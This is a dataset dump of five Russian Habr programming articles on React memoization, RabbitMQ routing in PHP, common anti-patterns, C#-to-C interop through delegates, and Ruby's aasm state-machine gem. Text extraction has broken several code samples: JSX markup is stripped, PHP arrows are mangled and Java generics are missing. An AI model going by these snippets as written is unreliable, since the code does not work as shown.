text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4 values | source stringclasses 4 values |
|---|---|---|---|---|
# React memo: Преисполнимся в оптимизации
Как-то раз решил один фронтендер всё покрыть в useCallbackПривет! Сегодня поговорим про стандартные способы оптимизации web-приложения в ~~экстремистской~~ библиотеке React. Мотивацией послужило некоторое количество кода, который я видел. Связан он с использованием API React не по назначению или без учета каких-то очевидных проверок на производительность и тонкостей (с натяжкой).
Какие вообще мы знаем хуки, методы, способы?
--------------------------------------------
Самые популярные в React (говорим о версии 16.8+) функции для оптимизации: хуки useCallback и useMemo, метод React.memo. Разберемся для чего они.
Его величество **useCallback** - возвращает мемоизированный колбэк.
Неповторимый **useMemo** - возвращает мемоизированное значение.
Господин High Order Component (HOC) **React.memo** - поверхностно сравнивает компоненты между отрисовками и если входные параметры (props) не изменились, то не вызывает рендер компонента, то есть мемоизирует компонент.
Интересно, сколько начинающих разработчиков разбежалось после "мемоизация, мемоизация и еще раз мемоизация"? О том, что такое HOC сегодня говорить не будем, несложная концепция, связанная с композицией.
Так что же такое мемоизация?
----------------------------
По сути банальное кэширование значений. Да, вот так просто. Как это работает? В документации в целом был описан алгоритм, по которому все работает. Напоминаю: в хуки useMemo и useCallback мы передаем вторым параметром массив зависимостей и если какая-то зависимость изменяется, то высчитываем значение заново (ну или пересоздаем функцию), если нет - возвращаем результат предыдущих вычислений. Так как нам очевидно, что если у нас есть переменная sum, которая содержит сумму чисел a и b, то нам не обязательно заново складывать a и b между рендерами, если мы это уже делали и переменные не изменились.
По сути это и есть вся идея мемоизации, для лучшего понимания оставлю пример мемоизирования на чистом JS, вдруг кто-то еще не сталкивался.
Мемоизация на JS
```
const memo = (callback) => {
// здесь будем хранить результаты вызовов функции
const cache = {};
// ну вот и понадобилось замыкание:)
return (...args) => {
// тут создаем ключ, по которому достанем/сохраним результат
// можно лучше, но сделаем пока что так
const key = JSON.stringify(args);
// очевидно достаем кэш, если он есть
if (key in cache) {
return cache[key];
}
const result = callback(...args);
cache[key] = result; // кэшируем
return result;
};
};
const sum = (a, b) => {
console.log('Call sum', a, b);
return a + b;
};
// мемоизируем функцию
const memoSum = memo(sum);
// проверяем
memoSum(1, 2);
memoSum(100, 31);
memoSum(1, 2);
memoSum(1, 2);
memoSum(1, 2);
memoSum(0, 9);
```
Результаты вызоваПолучили: сокращение количество вызовов.
**А в чем подвох?** Подвох в том, что кэш надо где-то хранить, спойлер: используется память, поэтому будьте аккуратнее, совсем не обязательно оптимизировать вызовы примитивных функций, который вызываются много раз. Приложение просядет по памяти.
А как же все-таки это все поможет в React приложении?
-----------------------------------------------------
Создадим простое приложение а-ля to-do list и будем оптимизировать.
Компонент App (корневой)
```
import "./App.css";
import ItemList from "./components/ItemList/ItemList";
function App() {
return (
);
}
export default App;
```
Компонент ItemList
```
import React, { useState } from "react";
import styles from "./ItemList.module.css";
import Item from "../Item/Item";
const ItemsInitState = [
{
id: "1dcdf741-5140-45c1-ac2d-8512339c20df",
label: "First Item",
},
{
id: "f87f7a2d-92ab-4890-909a-0795699e7f21",
label: "Second Item",
},
{
id: "8a6ff044-80fb-4fd7-b021-9eed7f9ffc24",
label: "Third Item",
},
];
const ItemList = () => {
const [items, setItems] = useState(ItemsInitState);
const remove = (id) =>
setItems((prev) => prev.filter((item) => item.id !== id));
return (
{
items.map((item) => )
}
);
};
export default ItemList;
```
Компонент Item
```
import React from "react";
import styles from "./Item.module.css";
const Item = ({ item, remove }) => {
console.log(`${item.label}`);
return (
{item.label}
------------
);
};
export default Item;
```
Что произойдет при запуске? Посмотрим в консоль.
Ай-ай-ай, самое важное, **добавить key**.
```
items.map((item) => )
```
А теперь удалим элемент и посмотрим сколько раз вызовется функция/компонент Item.
**Окей, а как это исправить?** Многие используют для этих целей useCallback и useMemo, ожидая, что это поможет, ну или код станет лучше работать. Давайте попробуем.
```
const remove = useCallback((id) =>
setItems((prev) => prev.filter((item) => item.id !== id)), []);
```
**Как думаете, что случится?** Да ничего, вызовы будут такими же, вы просто мемоизировали функцию. А зачем? Вот и я думаю, что смысла в этом было мало. Причины:
* на рендерах это никак не отразилось
* вы увеличили стек вызова (useCallback каждый раз проверяет надо ли пересоздать функцию)
* в целом с таким же успехом можно было и пересоздать ее, перфоманс не уменьшится, может даже наоборот
**А как все-таки правильно?** Тут в дело вступает React.memo, тот самый HOC, который мемоизирует компоненты.
```
export default React.memo(Item); // вызываем его при экспорте
```
Неописуемый восторгОкей, теперь все работает, по сути это и есть правильный пример использования, мемоизировать функции в большинстве случаев надо тогда, когда вы передаете их в мемоизированные компоненты.
Кстати, а что насчет свойства key? Можете проверить сами, если его убрать, то useCallback и React.memo вам не помогут.
А useMemo когда использовать? Точно также как и useCallback, ну или если вычисления сильно сложнее pages = Math.ceil(total / perPage).
Заключение
----------
Всегда сначала думайте, а потом делайте. Оптимизация в какой-то мере искусство и требует опыта (ну например те же сложные вычисления всегда можно просто переложить на серверную часть, на курсах такому могут и не научить).
**Однозначного ответа на то как правильно нет**, ситуации бывают индивидуальные, но как неправильно часто становится ясно спустя пару потраченных минут на обдумывание того или иного действия.
Спасибо за внимание! | https://habr.com/ru/post/706730/ | null | ru | null |
# RabbitMQ tutorial 4 — Роутинг
Продолжаю [серию](http://habrahabr.ru/post/200870/) перевода уроков с [официального сайта](http://www.rabbitmq.com/tutorials/tutorial-four-php.html). Примеры будут на php, но их можно реализовать на большинстве популярных [ЯП](http://www.rabbitmq.com/devtools.html).
В предыдущей [статье](http://habrahabr.ru/post/200870/) мы разработали систему логирования. Нам удалось отправлять сообщения нескольким получателям. В этой статье модернизируем нашу программу — будем отправлять получателю только часть сообщений. Например, мы сможем сохранять на диске только сообщения с критическими ошибками (экономия места на диске), а в консоли будем отображать все сообщения.
#### Bindings
В предыдущей статье мы создавали связи(bindings). Напомним код:
```
$channel->queue_bind($queue_name, 'logs');
```
Binding — это связь между точкой доступа и очередью. Это можно интерпретировать как: очередь хочет получить сообщения из точки доступа.
Binding может принимать параметр routing\_key. Чтобы не путаться с параметром $channel::basic\_publish (тоже содержит параметр routing\_key), назовем его binding\_key. Рассмотрим создание связи с ключом binding\_key:
```
$binding_key = 'black';
$channel->queue_bind($queue_name, $exchange_name, $binding_key);
```
Значение этого ключа зависит от типа точки доступа. Точка доступа с типом fanout просто проигнорирует его.
#### Точка доступа Direct
Наша система логирования в предыдущей статье отправляла всем подписчиками все сообщения. Мы хотим расширить нашу систему, чтобы фильтровать сообщения по степени важности. Для примера мы сделаем так, чтобы скрипт, записывающий логи на диск не тратил своё место на собщения с типом warning или info.
Ранее мы использовали точку доступа с типом fanout, которая не дает нам полной гибкости — она подходит только для простой трансляции.
Вместо это мы будем использовать тип direct. Его алгоритм очень прост — сообщения идут в ту очередь, binding\_key которой совпадает с routing key сообщения.
Рассмотрим схему на картинке:
На схеме изображена точка доступа X и две связанные с ней очереди. Первая очередь связана с binding key = orange, а вторая очередь имеет две связи. Одна с ключом binding key = black, а вторая с ключом — green.
Сообщения с routing key = orange будут направляться в очередь Q1, а сообщения с ключом black или green направятся в очередь Q2. Все остальные сообщения будут удалены.
#### Составные связи (Multiple bindings)
Вполне допустимо связывать несколько очередей с одинаковым ключом binding key. В этом примере мы связываем точку доступа X и очередь Q1 с тем же ключом black, что и у очереди Q2. В этом примере direct ведет себя также как и fanout: отсылает сообщения во все связанные очереди. Сообщения с ключом black попадет в обе очереди Q1 и Q2.
#### Отправка логов
Построим алгоритм отправки сообщений. Вместо fanout для точки доступа будем использовать тип direct. Routing key будет совпадать с названием типа лога. Допустим что скрипт отправки лога будет знать тип лога.
Для начала создадим точку доступа:
```
$channel->exchange_declare('direct_logs', 'direct', false, false, false);
```
Теперь отправим сообщение:
```
$channel->exchange_declare('direct_logs', 'direct', false, false, false);
$channel->basic_publish($msg, 'direct_logs', $severity);
```
Лог будет иметь 3 типа: 'info', 'warning', 'error'.
#### Подписка
Отправка сообщений будет таким же как и в примере предыдущей [статьи](http://habrahabr.ru/post/200870/), с одним условием — нужно создать для каждого типа лога свою связь binding.
```
foreach($severities as $severity) {
$channel->queue_bind($queue_name, 'direct_logs', $severity);
}
```
#### Итого получаем
Код скрипта продюсера emit\_log\_direct.php:
```
php
require_once __DIR__ . '/vendor/autoload.php';
use PhpAmqpLib\Connection\AMQPConnection;
use PhpAmqpLib\Message\AMQPMessage;
$connection = new AMQPConnection('localhost', 5672, 'guest', 'guest');
$channel = $connection-channel();
$channel->exchange_declare('direct_logs', 'direct', false, false, false);
$severity = $argv[1];
if(empty($severity)) $severity = "info";
$data = implode(' ', array_slice($argv, 2));
if(empty($data)) $data = "Hello World!";
$msg = new AMQPMessage($data);
$channel->basic_publish($msg, 'direct_logs', $severity);
echo " [x] Sent ",$severity,':',$data," \n";
$channel->close();
$connection->close();
?>
```
Код скрипта подписчика receive\_logs\_direct.php:
```
php
require_once __DIR__ . '/vendor/autoload.php';
use PhpAmqpLib\Connection\AMQPConnection;
$connection = new AMQPConnection('localhost', 5672, 'guest', 'guest');
$channel = $connection-channel();
$channel->exchange_declare('direct_logs', 'direct', false, false, false);
list($queue_name, ,) = $channel->queue_declare("", false, false, true, false);
$severities = array_slice($argv, 1);
if(empty($severities )) {
file_put_contents('php://stderr', "Usage: $argv[0] [info] [warning] [error]\n");
exit(1);
}
foreach($severities as $severity) {
$channel->queue_bind($queue_name, 'direct_logs', $severity);
}
echo ' [*] Waiting for logs. To exit press CTRL+C', "\n";
$callback = function($msg){
echo ' [x] ',$msg->delivery_info['routing_key'], ':', $msg->body, "\n";
};
$channel->basic_consume($queue_name, '', false, true, false, false, $callback);
while(count($channel->callbacks)) {
$channel->wait();
}
$channel->close();
$connection->close();
?>
```
Если вы хотите сохранить в файл только логи с типом error и warning, наберите в консоли:
`$ php receive_logs_direct.php warning error > logs_from_rabbit.log`
Если вы хотите отобразить все логи на экране, наберите в консоли
```
$ php receive_logs_direct.php info warning error
[*] Waiting for logs. To exit press CTRL+C
```
Или чтобы вытащить только логи error:
```
$ php emit_log_direct.php error "Run. Run. Or it will explode."
[x] Sent 'error':'Run. Run. Or it will explode.'
```
(исходники [(emit\_log\_direct.php source)](https://github.com/rabbitmq/rabbitmq-tutorials/blob/master/php/emit_log_direct.php) и [(receive\_logs\_direct.php source)](https://github.com/rabbitmq/rabbitmq-tutorials/blob/master/php/receive_logs_direct.php))
В следующей статье будет рассмотрена прослушка сообщений соответствующих какому-либо шаблону | https://habr.com/ru/post/201096/ | null | ru | null |
# 9 анти-паттернов, о которых должен знать каждый программист
В программировании самокритика – это умение распознать контрпродуктивные решения в дизайне, коде, процессах и поведении. Знание о вредных шаблонах решений полезно для программиста. В этой статье я опишу анти-паттерны, которые я встречал на своём личном опыте время от времени.
Некоторые из них напрямую или косвенно связаны с [когнитивными искажениями](http://en.wikipedia.org/wiki/List_of_cognitive_biases) человеческого сознания – в этих случаях я даю ссылки на соответствующие вики-статьи. Также интересен список известных когнитивных искажений.
#### 1 Преждевременная оптимизация
> В 97% случаев надо забыть об эффективности малых частей программы: преждевременная оптимизация – корень всех зол. Но в 3% случаев об оптимизации забывать не нужно.
>
> Дональд Кнут
> Хотя никогда зачастую лучше, чем прямо сейчас
>
> Тим Питерс, Зен языка Python
##### Что это
Оптимизация, проводимая до того, как у вас есть вся информация, необходимая для принятия взвешенных решений по поводу того, где и как нужно её проводить.
##### Почему плохо
На практике сложно предсказать, где встретится узкое место. Попытки навести оптимизацию до получения эмпирических результатов приведут к усложнению кода и появлению ошибок, а пользы не принесут.
##### Как избежать
Сначала пишите чистый, читаемый, работающий код, используя известные и проверенные алгоритмы и инструменты. При необходимости используйте инструменты для профилирования для поиска узких мест. Полагайтесь на измерения, а не на догадки и предположения.
##### Примеры и признаки
Кэширование до того, как провели профилирование. Использование сложных и недоказанных эвристических правил вместо математически верных алгоритмов. Выбор новых, непротестированных фреймворков, которые могут повести себя плохо под нагрузкой.
##### В чём сложность
Сложность в том, чтобы знать, когда оптимизация будет преждевременной. Важно заранее оставлять место для роста. Нужно выбирать решения и платформы, которые позволят легко оптимизировать и расти. Также иногда можно использовать преждевременную оптимизацию в качестве оправдания за плохой код. Например, использование алгоритма O(n2) просто потому, что алгоритм O(n) сложнее.
##### Слишком длинно, не читал
Сначала профилирование, потом оптимизация. Не меняйте простоту на эффективность, пока об этом не заявят эмпирически полученные данные.
#### 2 Байкшеддинг
(*прим.перев. – англосаксы любят придумывать глаголы. Этот термин также называется «Закон тривиальности Паркинсона», и появился после того, как этот Паркинсон обратил внимание, как люди любят тратить время на совещаниях на всякую ерунду, вместо того, чтобы обсуждать насущные проблемы. Конкретно, проектировщики атомной электростанции очень долго спорили, какой материал должен пойти на навес для велосипедов – bike-shed*).
> Периодически мы прерывали разговор, чтобы обсудить типографику и цвет страницы. После каждого обсуждения мы голосовали. Я думал, что эффективнее всего будет проголосовать за тот же цвет, который мы выбрали на предыдущей встрече, но я всегда оказывался в меньшинстве. Наконец, мы выбрали красный (а в итоге получился синий).
>
> Ричард Фейнман, «Почему вас заботит, что о вас думают другие?»
##### Что это
Склонность тратить время на обсуждение тривиальных и субъективных вещей.
##### Почему это плохо
Трата времени. [Подробное письмо от Пола-Хенинга Кэмпа](http://phk.freebsd.dk/sagas/bikeshed/) по этому поводу.
##### Как избежать
Напоминайте другим членам команды об этой склонности, и о том, что в этих случаях главное – быстрее принять решение (бросить монетку, проголосовать, и т.п.). Если речь идёт о вещах вроде пользовательского интерфейса, обратитесь к A/B тестированию, вместо того, чтобы обсуждать это в команде.
##### Примеры и признаки
Часы или дни проводятся в обсуждениях цвета фона или расположения кнопки в интерфейсе, или использования табуляции вместо пробелов в коде.
##### В чём сложность
Байкшеддинг легче заметить и предотвратить, чем преждевременную оптимизацию. Замечайте время, требуемое для принятия решений и сопоставляйте его со сложностью задачи.
##### Слишком длинно, не читал
Не тратьте много времени на простейшие решения.
#### 3 Аналитический паралич
> Желание предсказать что-либо, нежелание действовать, когда это было бы просто и эффективно, недостаток ясности мысли… Всё это свойства, заставляющие бесконечно повторять историю.
>
> Уинстон Черчилль, Дебаты в парламенте
> Сейчас лучше, чем никогда
>
> Тим Питерс, Зен языка Python
##### Что это
Переизбыток анализа до такой степени, что прогресс и действия останавливаются.
##### Почему плохо
Переизбыток анализа может замедлить или остановить прогресс. В тяжёлых случаях, результаты анализа становятся не нужны к тому моменту, когда они готовы, или даже проект вообще не покидает фазу анализа. Часто кажется, что чем больше у вас информации, тем больше это поможет принятию тяжёлого решения. См. [информативное искажение](http://en.wikipedia.org/wiki/Information_bias_(psychology)) и [иллюзию допустимости](http://en.wikipedia.org/wiki/Illusion_of_validity).
##### Как избежать
Наблюдайте за итерациями и улучшениями. Каждая итерация даёт обратную связь и информацию, которую можно использовать для более осмысленного анализа. Без этой информации анализ будет лишь спекулятивным.
##### Примеры и признаки
Месяцы и годы, проведённые в анализе требований проекта, интерфейса или структуры БД.
##### В чём сложность
Бывает сложно понять, когда пора переходить от планирования, анализа требований и дизайна к реализации и тестированию.
##### Слишком длинно, не читал
Вместо чрезмерного анализа и спекуляций используйте пошаговое развитие.
#### 4 Класс Бога
> Простое лучше сложного
>
> Тим Питерс, Зен языка Python
##### Что это
Классы, контролирующие множество других классов, имеющие много зависимостей и много ответственности.
##### Почему плохо
Классы Бога разрастаются до тех пор, пока не превращаются в кошмар поддержки. Они нарушают принцип одной ответственности, с ними тяжело проводить юнит-тесты, отлаживать и документировать.
##### Как избежать
Разбивайте ответственность по мелким классам, с единственной ответственностью, которая чётко определена, юнит-тестируется и задокументирована.
##### Примеры и признаки
Ищите классы с именами «manager», «controller», «driver», «system» или «engine». Подозрительно смотрите на классы, импортирующие или зависящие от других, контролирующие слишком много других классов или имеющие много методов, занимающихся чем-то, не связанным с основной деятельностью.
##### В чем сложность
Проекты, запросы и количество программистов растет, и маленькие специализированные классы медленно превращаются в классы Бога. Рефакторинг таких классов может занять впоследствии много времени.
##### Слишком длинно, не читал
Избегайте больших классов со слишком большими ответственностями и зависимостями
#### 5 Страх перед добавлением классов
> Разреженное лучше, чем плотное
>
> Тим Питерс, Зен языка Python
##### Что это
Вера в то, что увеличение количества классов усложняет дизайн, приводит к страху перед добавлением новых классов или разбитием больших классов на мелкие.
##### Почему это плохо
Добавление классов уменьшает сложность. Распутать несколько мелких клубков пряжи проще, чем один крупный. Несколько простых в поддержке и документировании классов предпочтительнее одного большого и сложного класса со множеством зависимостей (класс Бога).
##### Как избежать
Замечайте те места, в которых добавление классов может упростить дизайн и разрубайте ненужные связи между частями кода
##### Примеры и признаки
```
class Shape:
def __init__(self, shape_type, *args):
self.shape_type = shape_type
self.args = args
def draw(self):
if self.shape_type == "круг":
center = self.args[0]
radius = self.args[1]
# Draw a circle...
elif self.shape_type == "квадрат":
pos = self.args[0]
width = self.args[1]
height = self.args[2]
# Draw rectangle...
```
А теперь сравните со следующим:
```
class Shape:
def draw(self):
raise NotImplemented("Подклассам Shape необходимо определить метод 'draw'.")
class Circle(Shape):
def __init__(self, center, radius):
self.center = center
self.radius = radius
def draw(self):
# Нарисовать круг...
class Rectangle(Shape):
def __init__(self, pos, width, height):
self.pos = pos
self.width = width
self.height = height
def draw(self):
# Нарисовать квадрат...
```
Пример достаточно очевидный, но он демонстрирует, что большие классы с условной или сложной логикой обычно стоит разбивать на более простые. В итоговом коде будет больше классов, но они будут проще.
##### В чем сложность
Добавление классов – не панацея. Упрощение дизайна разбиванием больших классов требует глубокого анализа областей ответственности и требований.
##### Слишком длинно, не читал
Большое число классов – не признак плохого дизайна
#### 6 Эффект внутренней платформы
> Те, кто не понимает Unix, обречены на переизобретение его плохих копий
>
> Генри Спенсер
> Любая достаточно сложная программа на Си или Фортране содержит заново написанную, неспецифицированную, глючную и медленную реализацию половины языка Common Lisp.
>
> Десятое правило Гринспена
##### Что это
Тенденция сложных программных систем изобретать заново возможности платформы, на которой они работают, или языка, на котором они написаны.
##### Почему это плохо
Задачи уровня платформы – планировка задач, дисковый буфер и т.д. непросто реализовать правильно. В плохих решениях часто встречаются узкие места и ошибки, особенно с ростом системы. Воссоздание альтернативных конструкций для того, что уже возможно сделать при помощи языка, приводит к усложнению кода и к подъёму кривой обучения для новичков. Также это ограничивает пользу от рефакторинга и инструментов для анализа кода.
##### Как избежать
Используйте имеющиеся возможности и свойства платформы или операционки. Не создавайте языковые конструкции, конкурирующие с существующими (особенно, если вы не привыкли к новому языку и скучаете по старому).
##### Примеры и признаки
Использование базы данных как очереди задач. Переизобретение дискового буфера вместо использования возможностей операционки. Написание менеджера задач для веб-сервера на PHP. Определение макроса в С для поддержки конструкций, напоминающих Python.
##### В чём сложность
В очень редких случаях всё-таки может потребоваться воссоздание имеющихся у платформы возможностей (JVM, Firefox, Chrome и т.д.).
##### Слишком длинно, не читал
Избегайте переизобретения тех возможностей, которые уже есть в операционке или платформе.
#### 7 Магические числа и строчки
> Явное лучше, чем неявное
>
> Тим Питерс, Зен языка Python
##### Что это
Использование безымянных чисел или строковых констант вместо именованных констант в коде.
##### Почему это плохо
Без поясняющего имени семантика числа или строки скрыта от нас. Это усложняет понимание кода, а необходимость поменять константу может привести к ошибкам. Рассмотрим следующий код:
```
def create_main_window():
window = Window(600, 600)
# и т.д....
```
Что это за числа? Допустим, первое – ширина, второе – высота. Если в дальнейшем придётся поменять ширину на 800, то поиском и заменой можно будет зацепить случайно и такую же высоту.
Использование неименованных строковых констант не так подвержено ошибкам, но затрудняет возможную локализацию, и также может привести к ошибкам из-за использования одинаковых строк в разных смыслах. Слово «точка» может обозначать пиксель, знак препинания или окончание рассуждений – в результате, поиск и замена слова приведут к ошибкам. Этого можно избежать, заменяя строки механизмом получения строк извне.
##### Как избежать
Используйте именованные константы, средства для получения ресурсов извне
##### Примеры и признаки
Даны выше. Такой анти-паттерн легко распознать.
##### В чем сложность
Иногда сложно сказать, будет ли используемое число магическим. 0 в языках, в которых индексирование начинается с нуля. 100 для подсчёта процентов, 2 для проверки чётности и т.д.
##### Слишком длинно, не читал
Избегайте использования чисел или строковых констант без имён и пояснений.
#### 8 Управление через количество
> Измерение прогресса программиста по количеству строк кода – то же самое, что измерение прогресса строительства самолёта по весу.
>
> Билл Гейтс
##### Что это
Принятие решений на основании одних лишь чисел.
##### Почему это плохо
Числа – это хорошо. Первые два анти-паттерна, преждевременную оптимизацию и байкшеддинг, надо избегать при помощи A/B-тестирования и получения неких количественных результатов. Но основываться только на числах опасно. К примеру, числа переживают те модели, в которых они имели смысл, или же модели устаревают и перестают корректно отражать реальность. Это приводит к плохим решениям, в особенности, когда они принимаются автоматически ([искажение автоматизации](http://en.wikipedia.org/wiki/Automation_bias)).
Ещё одна проблема в использовании чисел для принятия решений (а не для простого информирования) – процессами измерения можно манипулировать для достижения желаемой цели ([эффект наблюдателя и ожиданий](http://en.wikipedia.org/wiki/Observer-expectancy_effect)). В сериале The Wire красочно показано, как полицейское управление и система образования перешли от осмысленных целей к игре с числами. Следующий график иллюстрирует этот вопрос. На нём изображено распределение оценок по тесту, в котором минимальная оценка для прохождения теста – 30.
##### Как избежать
Используйте измерение и числа мудро, не слепо.
##### Примеры и признаки
Использование количества строк, количества коммитов и т.д. для оценки эффективности программистов. Измерение эффективности сотрудника по количеству часов, проведённых в офисе.
##### В чём сложность
Чем больше фирма, тем больше требуется принимать решений, тем сильнее их автоматизация и вера в слепые цифры начинает проникать в процесс их принятия.
##### Слишком длинно, не читал
Используйте числа для информирования, а не как основу для принятия решений
#### 9 Бесполезные (полтергейстные) классы
> По-видимому, совершенства достигают не тогда, когда нечего добавить, а тогда, когда нечего отнять.
>
> Антуан де Сент-Экзюпери
##### Что это
Бесполезные классы без зависимостей, используются для вызова методов другого класса или просто добавляют ненужный слой абстракции.
##### Почему плохо
Полтергейстные классы добавляют сложность, код для поддержки и тестирования, и делают код менее читаемым. Надо определить, что делает полтергейст (а обычно – почти ничего), и натренироваться мысленно заменять его использование тем классом, который реально работает.
##### Как избежать
Не пишите бесполезные классы и избавляйтесь от них при возможности.
##### Примеры и признаки
Несколько лет назад при работе над дипломом я обучал первокурсников программированию на Java. Для одной из лабораторных работ мне дали материал по теме стэка и использования связанных списков. И мне дали «решение». Вот такое это было решение, почти дословно:
```
import java.util.EmptyStackException;
import java.util.LinkedList;
public class LabStack {
private LinkedList list;
public LabStack() {
list = new LinkedList();
}
public boolean empty() {
return list.isEmpty();
}
public T peek() throws EmptyStackException {
if (list.isEmpty()) {
throw new EmptyStackException();
}
return list.peek();
}
public T pop() throws EmptyStackException {
if (list.isEmpty()) {
throw new EmptyStackException();
}
return list.pop();
}
public void push(T element) {
list.push(element);
}
public int size() {
return list.size();
}
public void makeEmpty() {
list.clear();
}
public String toString() {
return list.toString();
}
}
```
Представьте моё замешательство, когда я его читал, пытался понять, зачем нужен класс LabStack и что студенты поймут из такого бесполезного упражнения. Если это ещё непонятно, этот класс не делает вообще ничего. Он просто передаёт вызовы в объект LinkedList. Также он меняет имена нескольких методов (makeEmpty вместо clear), что ещё больше запутывает. Логика проверки ошибок не нужна, поскольку методы в LinkedList делают то же самое (просто через другое исключение, NoSuchElementException). По сию пору не могу понять, что было в голове у авторов этого материала.
##### В чём сложность
На первый взгляд, совет будет противоположен совету в разделе «Страх перед добавлением классов». Важно понимать, когда класс выполняет ценную роль и упрощает дизайн, а когда он бесполезным образом увеличивает сложность.
##### Слишком длинно, не читал
Избегайте классов без реальной ответственности. | https://habr.com/ru/post/260227/ | null | ru | null |
# Вызов unmanaged code из managed без P/Invoke
Продолжаем маршалировать. На этот раз будет рассмотрен способ вызова С-шных функций из C# без использования P/Invoke( [DllImport] ). А если быть до конца точным, то [DllImport] использовать все же придется, но только один раз. По существу, данная статья является статьей о маршалинге делегатов в указатели на функции и обратно.
Итак, приступим.
Первое, с чего нужно начать, это нужно вспомнить, что когда мы от чего-то отказываемся (в данном случае [DllImport]), мы заменяем это чем-то другим. Так и здесь. Отказавшись от P/Invoke (в C#) и экспорта из Dll (в C), приходится объявлять структуру с указателями на функцию (в C) и структуру с делегатами (в C#).
Предположим, у вас есть заголовочный файл и файл с реализацией с кодом следующего вида (неважно, откуда и каким образом они получены):
Файл **NativeCode.h**
```
/* Функция, вызываемая из структуры */
typedef
int
(__stdcall * pFuncInterface)(
__in int nStatus
);
typedef struct _Interface
{
// здесь объявляем указатели на все нужные нам функции
pFuncInterface m_pfInterface;
// также могут содержаться и данные
DWORD m_dwData;
} SInterface, *PSInterface;
/* Функция заполнения структуры */
__declspec(dllexport)
int
CreateInterface(
__inout PSInterface pInterface
);
```
Файл **NativeCode.cpp**
```
int __stdcall
FuncInterface(
__in int nStatus)
{
nStatus = 5;
return 1;
}
/* Экспортируемая функция */
int
CreateInterface(
__inout PSInterface pInterface)
{
// тут заполнение структуры указателями на функции
pInterface->m_pfInterface = FuncInterface;
// какие-либо данные
pInterface->m_dwData = 5;
return pInterface->m_dwData;
}
```
**Примечание 1**: в данном примере «*\_\_stdcall*» — уже дописывается читателем для восстановления состояния стека.
**Примечание 2**: количество указателей на функции, объявленных в качестве полей структуры (*SInterface*) может быть различным, то есть структура может содержать сколь угодно разное количество указателей на функции.
Как видно из примера, у нас есть указатель (*pFuncInterface*) на функцию (*FuncInterface*), которая принимает *int* и возвращает *int*, структура с двумя полями (*SInterface*), одним из которых является указатель на функцию, и функция заполнения структуры по полям (*CreateInterface*).
Нашей задачей является написание на C# кода взаимодействия с данной структурой. Первое, что приходит в голову, это экспорт всех функций на стороне С и вызов их через [DllImport] на стороне C#, а в структуре оставить только поля с данными (исключить указатели на функции). Но код менять не хочется (к тому же, если он вообще не ваш, его, скорее всего, менять просто и нельзя).
В этом случае следует поступить следующим образом.
Как обычно, создаем проект Win32 (Console Application) и указываем, что он будет компиляться в Dll, а также создаем проект C# — Console Application. В Dll добавляем два наших исходных файла и функцию заполнения структуры по полям делаем экспортируемой (это единственная функция, для которой потребуется вызов P/Invoke). Итак, у нас есть Dll с одной лишь экспортируемой функцией *CreateInterface()*.
Недостатком данного метода является то, что на стороне C# приходится объявлять точно такую же структуру, в которой указатели на функции заменяются делегатами (приходится объявлять делегат на каждую функцию), то есть на стороне C#, по существу, происходит дублирование кода \*.h файла (в данном случае **NativeCode.h**). Тем не менее, проделывая это, а также [DllImport] для *CreateInterface()*, получаем:
```
using System;
using System.Runtime.InteropServices;
namespace SharpCode
{
/****************************************************/
// Дублирование кода из *.h файла
public delegate int pInterface(int nStatus);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
struct SInterface
{
public pInterface m_pfpInterface;
public UInt32 m_dwData;
}
/****************************************************/
class Program
{
private static SInterface stInterface = new SInterface();
[DllImport("NativeDll", CallingConvention = CallingConvention.Cdecl)]
public static extern int
CreateInterface(
ref SInterface pInterface
);
static void Main(string[] args)
{
CreateInterface(ref stInterface);
// теперь наша структура заполнена и можно вызывать функции
// из unmanaged code без использования P/Invoke
int nRes = stInterface.m_pfpInterface(1);
Console.WriteLine("Result = {0}", nRes);
}
}
}
```
Теперь остается дописать в двух местах «*\_\_stdcall*» и вуаля, все работает. Вызывая *CreateInterface()* из Dll, происходит заполнение структуры *SInterface* указателями на функции (в данном случае одним), которые на стороне C# маршалируются в делегаты. Теперь можно использовать полученный делегат для вызова функции из неуправляемого кода напрямую, минуя механизм P/Invoke.
Результат программы, как и следовало ожидать:
PS: данный способ является лишь альтернативной заменой вызова unmanaged кода с помощью P/Invoke. | https://habr.com/ru/post/131209/ | null | ru | null |
# Конечные автоматы в Ruby
Статья за авторством хабраюзера [preprocessor](https://habrahabr.ru/users/preprocessor/), который не смог ее опубликовать по всем понятной причине. Так что все плюсики ему:)
Конечный автомат (Finite-state machine) — это такая штука, описывающая поведение объекта с конечным количеством состояний. Пути перехода из одного состояния в другое, условия этого перехода, действия выполняемые во время перехода или после. С теорией у меня всегда было плохо, поэтому больше вдаваться в нее не буду, вместо этого, для тех кто интересуется подробностями, могу порекомендовать посмотреть википедию (как же без нее) <http://en.wikipedia.org/wiki/Finite-state_machine> и <http://ru.wikipedia.org/wiki/Конечный_автомат>, а оттуда уже капать на сколько захочется. На практике это можно использовать много где, от парсинга строк (привет [Ragel](http://www.complang.org/ragel/)), до модели User в вашем веб-приложении.
Я же сейчас хочу поговорить про реализацию state machine в языке ruby. Есть такой замечательный сайт [ruby-toolbox.com](http://ruby-toolbox.com/), по которому можно достаточно точно судить о том, что сейчас популярно в мире руби. В разделе State machines на первом месте мы видем gem aasm от rubyist. Кстати, так уж получилось, что о качестве руби-библиотеки можно почти всегда судить по ее популярности, во всяком случае, в сферах где есть конкуренция библиотек. Ну вот так вот получилось. aasm действительно хорош, в отличии от своего популярного предшественника ([acts\_as\_state\_machine](http://rails.aizatto.com/2007/05/24/ruby-on-rails-finite-state-machine-plugin-acts_as_state_machine/)) умеет работать не только (а для некоторых и не столько) с ActiveRecord, но и с любым ruby-объектом. Вот только документация к нему уж очень скудная, даже в западном вебе я не смог найти никакого более-менее полного описания этой библиотеки. Так что позволю себе, по-сути, написать к ней небольшой мануал.
Итак, начнем с примера из самой бибиотеки (это и есть вся документация).
`class Conversation < ActiveRecord::Base
include AASM
aasm_initial_state :unread
aasm_state :unread
aasm_state :read
aasm_state :closed
aasm_event :view do
transitions :to => :read, :from => [:unread]
end
aasm_event :close do
transitions :to => :closed, :from => [:read, :unread]
end
end`
Что же для нас теперь сгенерировалось:
`conversation = Conversation.new
conversation.aasm_current_state => :unread
conversation.view # перейти в состояние :read
conversation.view! # перейти в состояние :read и вызвать aasm_write_state, если он определен
conversation.read? # true or false. Мы как бэ спрашиваем “текущее состояние read?”
conversation.closed # Генерируются named scopes для всех состояний, соответсвенно этот метод вернет нам scope для всех закрытых бесед.`
